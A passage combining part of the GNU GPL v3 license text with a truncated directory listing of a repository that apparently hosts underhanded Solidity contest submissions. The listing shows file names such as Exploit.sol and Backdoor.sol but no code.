the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5,
gitextract_e74y2gv2/ ├── .github/ │ └── workflows/ │ └── deploy-static.yml ├── .gitignore ├── 2020/ │ ├── CNAME │ ├── LICENSE.txt │ ├── README.md │ ├── assets/ │ │ ├── css/ │ │ │ ├── main.css │ │ │ └── noscript.css │ │ ├── js/ │ │ │ ├── main.js │ │ │ └── util.js │ │ └── sass/ │ │ ├── base/ │ │ │ ├── _page.scss │ │ │ ├── _reset.scss │ │ │ └── _typography.scss │ │ ├── components/ │ │ │ ├── _actions.scss │ │ │ ├── _box.scss │ │ │ ├── _button.scss │ │ │ ├── _contact.scss │ │ │ ├── _features.scss │ │ │ ├── _form.scss │ │ │ ├── _icon.scss │ │ │ ├── _icons.scss │ │ │ ├── _image.scss │ │ │ ├── _list.scss │ │ │ ├── _menu.scss │ │ │ ├── _row.scss │ │ │ ├── _section.scss │ │ │ ├── _split.scss │ │ │ ├── _spotlights.scss │ │ │ ├── _table.scss │ │ │ └── _wrapper.scss │ │ ├── layout/ │ │ │ ├── _footer.scss │ │ │ ├── _header.scss │ │ │ ├── _intro.scss │ │ │ ├── _sidebar.scss │ │ │ └── _wrapper.scss │ │ ├── libs/ │ │ │ ├── _breakpoints.scss │ │ │ ├── _functions.scss │ │ │ ├── _html-grid.scss │ │ │ ├── _mixins.scss │ │ │ ├── _vars.scss │ │ │ └── _vendor.scss │ │ ├── main.scss │ │ └── noscript.scss │ ├── index.html │ └── submissions_2020/ │ ├── submission10_MartinHolstSwende/ │ │ ├── README.md │ │ └── test.sol │ ├── submission11_RobertMCForster/ │ │ ├── LICENSE.txt │ │ ├── README.md │ │ └── contracts/ │ │ ├── BokkyDateTime.sol │ │ ├── Ownable.sol │ │ └── TimelockUpgrade.sol │ ├── submission12_LeonardoAlt/ │ │ ├── Makefile │ │ ├── README.md │ │ ├── lib/ │ │ │ └── ds-test/ │ │ │ ├── LICENSE │ │ │ ├── Makefile │ │ │ ├── default.nix │ │ │ └── src/ │ │ │ └── test.sol │ │ ├── out/ │ │ │ └── dapp.sol.json │ │ └── src/ │ │ ├── DNS.sol │ │ ├── DNSTest.t.sol │ │ ├── HEVMCheat.sol │ │ ├── IDNS.sol │ │ ├── MalDNS.sol │ │ ├── Upgrade.sol │ │ └── UpgradedDNS.sol │ ├── submission13_GregHysen/ │ │ ├── README.md │ │ └── contracts/ │ │ ├── Exploit.sol │ │ ├── FunWithSelectors.sol │ │ ├── Proxy.sol │ │ └── Test.sol │ ├── submission14_MariusVanDerWijden/ │ │ ├── ECDSA.sol │ │ ├── Proxy.sol │ │ ├── README.md │ │ └── RelayContract.sol │ ├── submission15_ChrisWhinfrey/ │ │ ├── .gitignore │ │ ├── README.md │ │ ├── contracts/ │ │ │ ├── ERC20.sol │ │ │ ├── Governance.sol │ │ │ ├── Proxy.sol │ │ │ ├── Token.sol │ │ │ └── spoilers/ │ │ │ └── Backdoor.sol │ │ ├── hardhat.config.ts │ │ ├── package.json │ │ └── test/ │ │ └── spoiler/ │ │ └── exploit.test.ts │ ├── submission16_VirajMalhotra/ │ │ ├── AddressSet.sol │ │ ├── ERC20V1.sol │ │ ├── Malicious.sol │ │ ├── Ownable.sol │ │ ├── Proxy.sol │ │ ├── README.md │ │ ├── Registry.sol │ │ └── Upgradable.sol │ ├── submission1_CoreyDickson/ │ │ ├── Attack.sol │ │ ├── OwnerRegistry.sol │ │ ├── README.md │ │ └── Target.sol │ ├── submission2_SohamZemse/ │ │ ├── GiveAway_v1.sol │ │ ├── GiveAway_v2.sol │ │ ├── Proxiable.sol │ │ ├── Proxy.sol │ │ └── README.md │ ├── submission3_AlexanderWade/ │ │ ├── Dispatcher.sol │ │ ├── README.md │ │ ├── erc20/ │ │ │ ├── erc20v1.sol │ │ │ └── erc20v2.sol │ │ └── interfaces/ │ │ ├── OptInContract.sol │ │ └── VersionContract.sol │ ├── submission4_JaimeIglesias/ │ │ ├── ERC20.sol │ │ ├── README.md │ │ └── VerySafuProxyTrustMe.sol │ ├── submission5_WilliamEntriken/ │ │ ├── README-WITH-SPOILERS.md │ │ ├── deployment.md │ │ └── main.sol │ ├── submission6_GregoryHill/ │ │ ├── README.md │ │ ├── buidler.config.ts │ │ ├── contracts/ │ │ │ ├── Accounts.sol │ │ │ └── Registry.json │ │ ├── package.json │ │ ├── test/ │ │ │ └── upgrade.test.ts │ │ └── tsconfig.json │ ├── submission7_MarkusWaas/ │ │ ├── GovernanceModule.sol │ │ ├── Proxy.sol │ │ ├── README.md │ │ └── TestERC20.sol │ ├── submission8_RichardMoore/ │ │ ├── Multisig.sol │ │ ├── README.md │ │ ├── Upgradable.sol │ │ └── deploy.txt │ └── submission9_LuizSoares/ │ ├── LICENSE │ ├── README.md │ └── contracts/ │ ├── Address.sol │ ├── Context.sol │ ├── IERC20.sol │ ├── Ownable.sol │ ├── PokeToken.sol │ ├── PokeTokenV2.sol │ ├── Proxy.sol │ ├── Superior.sol │ ├── SuperiorTransparentUpgradableProxy.sol │ ├── TransparentUpgradeableProxy.sol │ └── UpgradeableProxy.sol ├── 2022/ │ ├── .gitignore │ ├── CNAME │ ├── LICENSE.txt │ ├── README.md │ ├── assets/ │ │ ├── css/ │ │ │ ├── main.css │ │ │ └── noscript.css │ │ ├── js/ │ │ │ ├── main.js │ │ │ └── util.js │ │ └── sass/ │ │ ├── base/ │ │ │ ├── _page.scss │ │ │ ├── _reset.scss │ │ │ └── _typography.scss │ │ ├── components/ │ │ │ ├── _actions.scss │ │ │ ├── _box.scss │ │ │ ├── _button.scss │ │ │ ├── _contact.scss │ │ │ ├── _features.scss │ │ │ ├── _form.scss │ │ │ ├── _icon.scss │ │ │ ├── _icons.scss │ │ │ ├── _image.scss │ │ │ ├── _list.scss │ │ │ ├── _menu.scss │ │ │ ├── _row.scss │ │ │ ├── _section.scss │ │ │ ├── _split.scss │ │ │ ├── _spotlights.scss │ │ │ ├── _table.scss │ │ │ └── _wrapper.scss │ │ ├── layout/ │ │ │ ├── _footer.scss │ │ │ ├── _header.scss │ │ │ ├── _intro.scss │ │ │ ├── _sidebar.scss │ │ │ └── _wrapper.scss │ │ ├── libs/ │ │ │ ├── _breakpoints.scss │ │ │ ├── _functions.scss │ │ │ ├── _html-grid.scss │ │ │ ├── _mixins.scss │ │ │ ├── _vars.scss │ │ │ └── _vendor.scss │ │ ├── main.scss │ │ └── noscript.scss │ ├── index.html │ └── submissions_2022/ │ ├── submission10_SantiagoPalladino/ │ │ ├── .gitignore │ │ ├── LICENSE │ │ ├── README.md │ │ ├── SPOILER.md │ │ ├── contracts/ │ │ │ ├── Exchange.sol │ │ │ └── mocks/ │ │ │ └── MockERC20.sol │ │ ├── hardhat.config.js │ │ ├── package.json │ │ └── test/ │ │ ├── exploit.js │ │ └── happy.js │ ├── submission11_DanielVonFange/ │ │ ├── README.md │ │ ├── SPOILER.md │ │ ├── lib/ │ │ │ ├── ds-test/ │ │ │ │ ├── .gitignore │ │ │ │ ├── LICENSE │ │ │ │ ├── Makefile │ │ │ │ ├── default.nix │ │ │ │ ├── demo/ │ │ │ │ │ └── demo.sol │ │ │ │ └── src/ │ │ │ │ └── test.sol │ │ │ ├── openzeppelin-contracts/ │ │ │ │ ├── .codecov.yml │ │ │ │ ├── .editorconfig │ │ │ │ ├── .eslintrc │ │ │ │ ├── .gitattributes │ │ │ │ ├── .gitignore │ │ │ │ ├── .mocharc.js │ │ │ │ ├── .prettierrc │ │ │ │ ├── .solcover.js │ │ │ │ ├── .solhint.json │ │ │ │ ├── CHANGELOG.md │ │ │ │ ├── CODE_OF_CONDUCT.md │ │ │ │ ├── CONTRIBUTING.md │ │ │ │ ├── DOCUMENTATION.md │ │ │ │ ├── GUIDELINES.md │ │ │ │ ├── LICENSE │ │ │ │ ├── README.md │ │ │ │ ├── RELEASING.md │ │ │ │ ├── SECURITY.md │ │ │ │ ├── contracts/ │ │ │ │ │ ├── access/ │ │ │ │ │ │ ├── AccessControl.sol │ │ │ │ │ │ ├── AccessControlEnumerable.sol │ │ │ │ │ │ ├── IAccessControl.sol │ │ │ │ │ │ ├── IAccessControlEnumerable.sol │ │ │ │ │ │ ├── Ownable.sol │ │ │ │ │ │ └── README.adoc │ │ │ │ │ ├── finance/ │ │ │ │ │ │ ├── PaymentSplitter.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ └── VestingWallet.sol │ │ │ │ │ ├── governance/ │ │ │ │ │ │ ├── Governor.sol │ │ │ │ │ │ ├── IGovernor.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── TimelockController.sol │ │ │ │ │ │ ├── compatibility/ │ │ │ │ │ │ │ ├── GovernorCompatibilityBravo.sol │ │ │ │ │ │ │ └── IGovernorCompatibilityBravo.sol │ │ │ │ │ │ └── extensions/ │ │ │ │ │ │ ├── GovernorCountingSimple.sol │ │ │ │ │ │ ├── GovernorProposalThreshold.sol │ │ │ │ │ │ ├── GovernorSettings.sol │ │ │ │ │ │ ├── GovernorTimelockCompound.sol │ │ │ │ │ │ ├── GovernorTimelockControl.sol │ │ │ │ │ │ ├── GovernorVotes.sol │ │ │ │ │ │ ├── GovernorVotesComp.sol │ │ │ │ │ │ ├── GovernorVotesQuorumFraction.sol │ │ │ │ │ │ └── IGovernorTimelock.sol │ │ │ │ │ ├── interfaces/ │ │ │ │ │ │ ├── IERC1155.sol │ │ │ │ │ │ ├── IERC1155MetadataURI.sol │ │ │ │ │ │ ├── IERC1155Receiver.sol │ │ │ │ │ │ ├── IERC1271.sol │ │ │ │ │ │ ├── IERC1363.sol │ │ │ │ │ │ ├── IERC1363Receiver.sol │ │ │ │ │ │ ├── IERC1363Spender.sol │ │ │ │ │ │ ├── IERC165.sol │ │ │ │ │ │ ├── IERC1820Implementer.sol │ │ │ │ │ │ ├── IERC1820Registry.sol │ │ │ │ │ │ ├── IERC20.sol │ │ │ │ │ │ ├── IERC20Metadata.sol │ │ │ │ │ │ ├── IERC2981.sol │ │ │ │ │ │ ├── IERC3156.sol │ │ │ │ │ │ ├── IERC3156FlashBorrower.sol │ │ │ │ │ │ ├── IERC3156FlashLender.sol │ │ │ │ │ │ ├── IERC721.sol │ │ │ │ │ │ ├── IERC721Enumerable.sol │ │ │ │ │ │ ├── IERC721Metadata.sol │ │ │ │ │ │ ├── IERC721Receiver.sol │ │ │ │ │ │ ├── IERC777.sol │ │ │ │ │ │ ├── IERC777Recipient.sol │ │ │ │ │ │ ├── IERC777Sender.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ └── draft-IERC2612.sol │ │ │ │ │ ├── metatx/ │ │ │ │ │ │ ├── ERC2771Context.sol │ │ │ │ │ │ ├── MinimalForwarder.sol │ │ │ │ │ │ └── README.adoc │ │ │ │ │ ├── mocks/ │ │ │ │ │ │ ├── AccessControlEnumerableMock.sol │ │ │ │ │ │ ├── AccessControlMock.sol │ │ │ │ │ │ ├── AddressImpl.sol │ │ │ │ │ │ ├── ArraysImpl.sol │ │ │ │ │ │ ├── BadBeacon.sol │ │ │ │ │ │ ├── BitmapMock.sol │ │ │ │ │ │ ├── CallReceiverMock.sol │ │ │ │ │ │ ├── ClashingImplementation.sol │ │ │ │ │ │ ├── ClonesMock.sol │ │ │ │ │ │ ├── ConditionalEscrowMock.sol │ │ │ │ │ │ ├── ContextMock.sol │ │ │ │ │ │ ├── CountersImpl.sol │ │ │ │ │ │ ├── Create2Impl.sol │ │ │ │ │ │ ├── DummyImplementation.sol │ │ │ │ │ │ ├── ECDSAMock.sol │ │ │ │ │ │ ├── EIP712External.sol │ │ │ │ │ │ ├── ERC1155BurnableMock.sol │ │ │ │ │ │ ├── ERC1155Mock.sol │ │ │ │ │ │ ├── ERC1155PausableMock.sol │ │ │ │ │ │ ├── ERC1155ReceiverMock.sol │ │ │ │ │ │ ├── ERC1155SupplyMock.sol │ │ │ │ │ │ ├── ERC1271WalletMock.sol │ │ │ │ │ │ ├── ERC165/ │ │ │ │ │ │ │ ├── ERC165InterfacesSupported.sol │ │ │ │ │ │ │ ├── ERC165MissingData.sol │ │ │ │ │ │ │ └── ERC165NotSupported.sol │ │ │ │ │ │ ├── ERC165CheckerMock.sol │ │ │ │ │ │ ├── ERC165Mock.sol │ │ │ │ │ │ ├── ERC165StorageMock.sol │ │ │ │ │ │ ├── ERC1820ImplementerMock.sol │ │ │ │ │ │ ├── ERC20BurnableMock.sol │ │ │ │ │ │ ├── ERC20CappedMock.sol │ │ │ │ │ │ ├── ERC20DecimalsMock.sol │ │ │ │ │ │ ├── ERC20FlashMintMock.sol │ │ │ │ │ │ ├── ERC20Mock.sol │ │ │ │ │ │ ├── ERC20PausableMock.sol │ │ │ │ │ │ ├── ERC20PermitMock.sol │ │ │ │ │ │ ├── ERC20SnapshotMock.sol │ │ │ │ │ │ ├── ERC20VotesCompMock.sol │ │ │ │ │ │ ├── ERC20VotesMock.sol │ │ │ │ │ │ ├── ERC20WrapperMock.sol │ │ │ │ │ │ ├── ERC2771ContextMock.sol │ │ │ │ │ │ ├── ERC3156FlashBorrowerMock.sol │ │ │ │ │ │ ├── ERC721BurnableMock.sol │ │ │ │ │ │ ├── ERC721EnumerableMock.sol │ │ │ │ │ │ ├── ERC721Mock.sol │ │ │ │ │ │ ├── ERC721PausableMock.sol │ │ │ │ │ │ ├── ERC721ReceiverMock.sol │ │ │ │ │ │ ├── ERC721URIStorageMock.sol │ │ │ │ │ │ ├── ERC777Mock.sol │ │ │ │ │ │ ├── ERC777SenderRecipientMock.sol │ │ │ │ │ │ ├── EnumerableMapMock.sol │ │ │ │ │ │ ├── EnumerableSetMock.sol │ │ │ │ │ │ ├── EtherReceiverMock.sol │ │ │ │ │ │ ├── GovernorCompMock.sol │ │ │ │ │ │ ├── GovernorCompatibilityBravoMock.sol │ │ │ │ │ │ ├── GovernorMock.sol │ │ │ │ │ │ ├── GovernorTimelockCompoundMock.sol │ │ │ │ │ │ ├── GovernorTimelockControlMock.sol │ │ │ │ │ │ ├── InitializableMock.sol │ │ │ │ │ │ ├── MathMock.sol │ │ │ │ │ │ ├── MerkleProofWrapper.sol │ │ │ │ │ │ ├── MulticallTest.sol │ │ │ │ │ │ ├── MulticallTokenMock.sol │ │ │ │ │ │ ├── MultipleInheritanceInitializableMocks.sol │ │ │ │ │ │ ├── OwnableMock.sol │ │ │ │ │ │ ├── PausableMock.sol │ │ │ │ │ │ ├── PullPaymentMock.sol │ │ │ │ │ │ ├── ReentrancyAttack.sol │ │ │ │ │ │ ├── ReentrancyMock.sol │ │ │ │ │ │ ├── RegressionImplementation.sol │ │ │ │ │ │ ├── SafeCastMock.sol │ │ │ │ │ │ ├── SafeERC20Helper.sol │ │ │ │ │ │ ├── SafeMathMock.sol │ │ │ │ │ │ ├── SignatureCheckerMock.sol │ │ │ │ │ │ ├── SignedSafeMathMock.sol │ │ │ │ │ │ ├── SingleInheritanceInitializableMocks.sol │ │ │ │ │ │ ├── StorageSlotMock.sol │ │ │ │ │ │ ├── StringsMock.sol │ │ │ │ │ │ ├── TimersBlockNumberImpl.sol │ │ │ │ │ │ ├── TimersTimestampImpl.sol │ │ │ │ │ │ ├── UUPS/ │ │ │ │ │ │ │ └── TestInProd.sol │ │ │ │ │ │ ├── compound/ │ │ │ │ │ │ │ └── CompTimelock.sol │ │ │ │ │ │ └── wizard/ │ │ │ │ │ │ ├── MyGovernor1.sol │ │ │ │ │ │ ├── MyGovernor2.sol │ │ │ │ │ │ └── MyGovernor3.sol │ │ │ │ │ ├── package.json │ │ │ │ │ ├── proxy/ │ │ │ │ │ │ ├── Clones.sol │ │ │ │ │ │ ├── ERC1967/ │ │ │ │ │ │ │ ├── ERC1967Proxy.sol │ │ │ │ │ │ │ └── ERC1967Upgrade.sol │ │ │ │ │ │ ├── Proxy.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ ├── beacon/ │ │ │ │ │ │ │ ├── BeaconProxy.sol │ │ │ │ │ │ │ ├── IBeacon.sol │ │ │ │ │ │ │ └── UpgradeableBeacon.sol │ │ │ │ │ │ ├── transparent/ │ │ │ │ │ │ │ ├── ProxyAdmin.sol │ │ │ │ │ │ │ └── TransparentUpgradeableProxy.sol │ │ │ │ │ │ └── utils/ │ │ │ │ │ │ ├── Initializable.sol │ │ │ │ │ │ └── UUPSUpgradeable.sol │ │ │ │ │ ├── security/ │ │ │ │ │ │ ├── Pausable.sol │ │ │ │ │ │ ├── PullPayment.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ └── ReentrancyGuard.sol │ │ │ │ │ ├── token/ │ │ │ │ │ │ ├── ERC1155/ │ │ │ │ │ │ │ ├── ERC1155.sol │ │ │ │ │ │ │ ├── IERC1155.sol │ │ │ │ │ │ │ ├── IERC1155Receiver.sol │ │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ │ ├── extensions/ │ │ │ │ │ │ │ │ ├── ERC1155Burnable.sol │ │ │ │ │ │ │ │ ├── ERC1155Pausable.sol │ │ │ │ │ │ │ │ ├── ERC1155Supply.sol │ │ │ │ │ │ │ │ └── IERC1155MetadataURI.sol │ │ │ │ │ │ │ ├── presets/ │ │ │ │ │ │ │ │ └── ERC1155PresetMinterPauser.sol │ │ │ │ │ │ │ └── utils/ │ │ │ │ │ │ │ ├── ERC1155Holder.sol │ │ │ │ │ │ │ └── ERC1155Receiver.sol │ │ │ │ │ │ ├── ERC20/ │ │ │ │ │ │ │ ├── ERC20.sol │ │ │ │ │ │ │ ├── IERC20.sol │ │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ │ ├── extensions/ │ │ │ │ │ │ │ │ ├── ERC20Burnable.sol │ │ │ │ │ │ │ │ ├── ERC20Capped.sol │ │ │ │ │ │ │ │ ├── ERC20FlashMint.sol │ │ │ │ │ │ │ │ ├── ERC20Pausable.sol │ │ │ │ │ │ │ │ ├── ERC20Snapshot.sol │ │ │ │ │ │ │ │ ├── ERC20Votes.sol │ │ │ │ │ │ │ │ ├── ERC20VotesComp.sol │ │ │ │ │ │ │ │ ├── ERC20Wrapper.sol │ │ │ │ │ │ │ │ ├── IERC20Metadata.sol │ │ │ │ │ │ │ │ ├── draft-ERC20Permit.sol │ │ │ │ │ │ │ │ └── draft-IERC20Permit.sol │ │ │ │ │ │ │ ├── presets/ │ │ │ │ │ │ │ │ ├── ERC20PresetFixedSupply.sol │ │ │ │ │ │ │ │ └── ERC20PresetMinterPauser.sol │ │ │ │ │ │ │ └── utils/ │ │ │ │ │ │ │ ├── SafeERC20.sol │ │ │ │ │ │ │ └── TokenTimelock.sol │ │ │ │ │ │ ├── ERC721/ │ │ │ │ │ │ │ ├── ERC721.sol │ │ │ │ │ │ │ ├── IERC721.sol │ │ │ │ │ │ │ ├── IERC721Receiver.sol │ │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ │ ├── extensions/ │ │ │ │ │ │ │ │ ├── ERC721Burnable.sol │ │ │ │ │ │ │ │ ├── ERC721Enumerable.sol │ │ │ │ │ │ │ │ ├── ERC721Pausable.sol │ │ │ │ │ │ │ │ ├── ERC721URIStorage.sol │ │ │ │ │ │ │ │ ├── IERC721Enumerable.sol │ │ │ │ │ │ │ │ └── IERC721Metadata.sol │ │ │ │ │ │ │ ├── presets/ │ │ │ │ │ │ │ │ └── ERC721PresetMinterPauserAutoId.sol │ │ │ │ │ │ │ └── utils/ │ │ │ │ │ │ │ └── ERC721Holder.sol │ │ │ │ │ │ └── ERC777/ │ │ │ │ │ │ ├── ERC777.sol │ │ │ │ │ │ ├── IERC777.sol │ │ │ │ │ │ ├── IERC777Recipient.sol │ │ │ │ │ │ ├── IERC777Sender.sol │ │ │ │ │ │ ├── README.adoc │ │ │ │ │ │ └── presets/ │ │ │ │ │ │ └── ERC777PresetFixedSupply.sol │ │ │ │ │ └── utils/ │ │ │ │ │ ├── Address.sol │ │ │ │ │ ├── Arrays.sol │ │ │ │ │ ├── Context.sol │ │ │ │ │ ├── Counters.sol │ │ │ │ │ ├── Create2.sol │ │ │ │ │ ├── Multicall.sol │ │ │ │ │ ├── README.adoc │ │ │ │ │ ├── StorageSlot.sol │ │ │ │ │ ├── Strings.sol │ │ │ │ │ ├── Timers.sol │ │ │ │ │ ├── cryptography/ │ │ │ │ │ │ ├── ECDSA.sol │ │ │ │ │ │ ├── MerkleProof.sol │ │ │ │ │ │ ├── SignatureChecker.sol │ │ │ │ │ │ └── draft-EIP712.sol │ │ │ │ │ ├── escrow/ │ │ │ │ │ │ ├── ConditionalEscrow.sol │ │ │ │ │ │ ├── Escrow.sol │ │ │ │ │ │ └── RefundEscrow.sol │ │ │ │ │ ├── introspection/ │ │ │ │ │ │ ├── ERC165.sol │ │ │ │ │ │ ├── ERC165Checker.sol │ │ │ │ │ │ ├── ERC165Storage.sol │ │ │ │ │ │ ├── ERC1820Implementer.sol │ │ │ │ │ │ ├── IERC165.sol │ │ │ │ │ │ ├── IERC1820Implementer.sol │ │ │ │ │ │ └── IERC1820Registry.sol │ │ │ │ │ ├── math/ │ │ │ │ │ │ ├── Math.sol │ │ │ │ │ │ ├── SafeCast.sol │ │ │ │ │ │ ├── SafeMath.sol │ │ │ │ │ │ └── SignedSafeMath.sol │ │ │ │ │ └── structs/ │ │ │ │ │ ├── BitMaps.sol │ │ │ │ │ ├── EnumerableMap.sol │ │ │ │ │ └── EnumerableSet.sol │ │ │ │ ├── hardhat/ │ │ │ │ │ └── env-contract.js │ │ │ │ ├── hardhat.config.js │ │ │ │ ├── migrations/ │ │ │ │ │ └── .gitkeep │ │ │ │ ├── netlify.toml │ │ │ │ ├── package.json │ │ │ │ └── renovate.json │ │ │ └── openzeppelin-contracts-upgradeable/ │ │ │ ├── .codecov.yml │ │ │ ├── .editorconfig │ │ │ ├── .eslintrc │ │ │ ├── .gitattributes │ │ │ ├── .gitignore │ │ │ ├── .mocharc.js │ │ │ ├── .prettierrc │ │ │ ├── .solcover.js │ │ │ ├── .solhint.json │ │ │ ├── CHANGELOG.md │ │ │ ├── CODE_OF_CONDUCT.md │ │ │ ├── CONTRIBUTING.md │ │ │ ├── DOCUMENTATION.md │ │ │ ├── GUIDELINES.md │ │ │ ├── LICENSE │ │ │ ├── README.md │ │ │ ├── RELEASING.md │ │ │ ├── SECURITY.md │ │ │ ├── UPGRADEABLE.md │ │ │ ├── contracts/ │ │ │ │ ├── access/ │ │ │ │ │ ├── AccessControlEnumerableUpgradeable.sol │ │ │ │ │ ├── AccessControlUpgradeable.sol │ │ │ │ │ ├── IAccessControlEnumerableUpgradeable.sol │ │ │ │ │ ├── IAccessControlUpgradeable.sol │ │ │ │ │ ├── OwnableUpgradeable.sol │ │ │ │ │ └── README.adoc │ │ │ │ ├── finance/ │ │ │ │ │ ├── PaymentSplitterUpgradeable.sol │ │ │ │ │ ├── README.adoc │ │ │ │ │ └── VestingWalletUpgradeable.sol │ │ │ │ ├── governance/ │ │ │ │ │ ├── GovernorUpgradeable.sol │ │ │ │ │ ├── IGovernorUpgradeable.sol │ │ │ │ │ ├── README.adoc │ │ │ │ │ ├── TimelockControllerUpgradeable.sol │ │ │ │ │ ├── compatibility/ │ │ │ │ │ │ ├── GovernorCompatibilityBravoUpgradeable.sol │ │ │ │ │ │ └── IGovernorCompatibilityBravoUpgradeable.sol │ │ │ │ │ └── extensions/ │ │ │ │ │ ├── GovernorCountingSimpleUpgradeable.sol │ │ │ │ │ ├── GovernorProposalThresholdUpgradeable.sol │ │ │ │ │ ├── GovernorSettingsUpgradeable.sol │ │ │ │ │ ├── GovernorTimelockCompoundUpgradeable.sol │ │ │ │ │ ├── GovernorTimelockControlUpgradeable.sol │ │ │ │ │ ├── GovernorVotesCompUpgradeable.sol │ │ │ │ │ ├── GovernorVotesQuorumFractionUpgradeable.sol │ │ │ │ │ ├── GovernorVotesUpgradeable.sol │ │ │ │ │ └── IGovernorTimelockUpgradeable.sol │ │ │ │ ├── interfaces/ │ │ │ │ │ ├── IERC1155MetadataURIUpgradeable.sol │ │ │ │ │ ├── IERC1155ReceiverUpgradeable.sol │ │ │ │ │ ├── IERC1155Upgradeable.sol │ │ │ │ │ ├── IERC1271Upgradeable.sol │ │ │ │ │ ├── IERC1363ReceiverUpgradeable.sol │ │ │ │ │ ├── IERC1363SpenderUpgradeable.sol │ │ │ │ │ ├── IERC1363Upgradeable.sol │ │ │ │ │ ├── IERC165Upgradeable.sol │ │ │ │ │ ├── IERC1820ImplementerUpgradeable.sol │ │ │ │ │ ├── IERC1820RegistryUpgradeable.sol │ │ │ │ │ ├── IERC20MetadataUpgradeable.sol │ │ │ │ │ ├── IERC20Upgradeable.sol │ │ │ │ │ ├── IERC2981Upgradeable.sol │ │ │ │ │ ├── IERC3156FlashBorrowerUpgradeable.sol │ │ │ │ │ ├── IERC3156FlashLenderUpgradeable.sol │ │ │ │ │ ├── IERC3156Upgradeable.sol │ │ │ │ │ ├── IERC721EnumerableUpgradeable.sol │ │ │ │ │ ├── IERC721MetadataUpgradeable.sol │ │ │ │ │ ├── IERC721ReceiverUpgradeable.sol │ │ │ │ │ ├── IERC721Upgradeable.sol │ │ │ │ │ ├── IERC777RecipientUpgradeable.sol │ │ │ │ │ ├── IERC777SenderUpgradeable.sol │ │ │ │ │ ├── IERC777Upgradeable.sol │ │ │ │ │ ├── README.adoc │ │ │ │ │ └── draft-IERC2612Upgradeable.sol │ │ │ │ ├── metatx/ │ │ │ │ │ ├── ERC2771ContextUpgradeable.sol │ │ │ │ │ ├── MinimalForwarderUpgradeable.sol │ │ │ │ │ └── README.adoc │ │ │ │ ├── mocks/ │ │ │ │ │ ├── AccessControlEnumerableMockUpgradeable.sol │ │ │ │ │ ├── AccessControlMockUpgradeable.sol │ │ │ │ │ ├── AddressImplUpgradeable.sol │ │ │ │ │ ├── ArraysImplUpgradeable.sol │ │ │ │ │ ├── BadBeaconUpgradeable.sol │ │ │ │ │ ├── BitmapMockUpgradeable.sol │ │ │ │ │ ├── CallReceiverMockUpgradeable.sol │ │ │ │ │ ├── ClashingImplementationUpgradeable.sol │ │ │ │ │ ├── ClonesMockUpgradeable.sol │ │ │ │ │ ├── ConditionalEscrowMockUpgradeable.sol │ │ │ │ │ ├── ContextMockUpgradeable.sol │ │ │ │ │ ├── CountersImplUpgradeable.sol │ │ │ │ │ ├── Create2ImplUpgradeable.sol │ │ │ │ │ ├── DummyImplementationUpgradeable.sol │ │ │ │ │ ├── ECDSAMockUpgradeable.sol │ │ │ │ │ ├── EIP712ExternalUpgradeable.sol │ │ │ │ │ ├── ERC1155BurnableMockUpgradeable.sol │ │ │ │ │ ├── ERC1155MockUpgradeable.sol │ │ │ │ │ ├── ERC1155PausableMockUpgradeable.sol │ │ │ │ │ ├── ERC1155ReceiverMockUpgradeable.sol │ │ │ │ │ ├── ERC1155SupplyMockUpgradeable.sol │ │ │ │ │ ├── ERC1271WalletMockUpgradeable.sol │ │ │ │ │ ├── ERC165/ │ │ │ │ │ │ ├── ERC165InterfacesSupportedUpgradeable.sol │ │ │ │ │ │ ├── ERC165MissingDataUpgradeable.sol │ │ │ │ │ │ └── ERC165NotSupportedUpgradeable.sol │ │ │ │ │ ├── ERC165CheckerMockUpgradeable.sol │ │ │ │ │ ├── ERC165MockUpgradeable.sol │ │ │ │ │ ├── ERC165StorageMockUpgradeable.sol │ │ │ │ │ ├── ERC1820ImplementerMockUpgradeable.sol │ │ │ │ │ ├── ERC20BurnableMockUpgradeable.sol │ │ │ │ │ ├── ERC20CappedMockUpgradeable.sol │ │ │ │ │ ├── 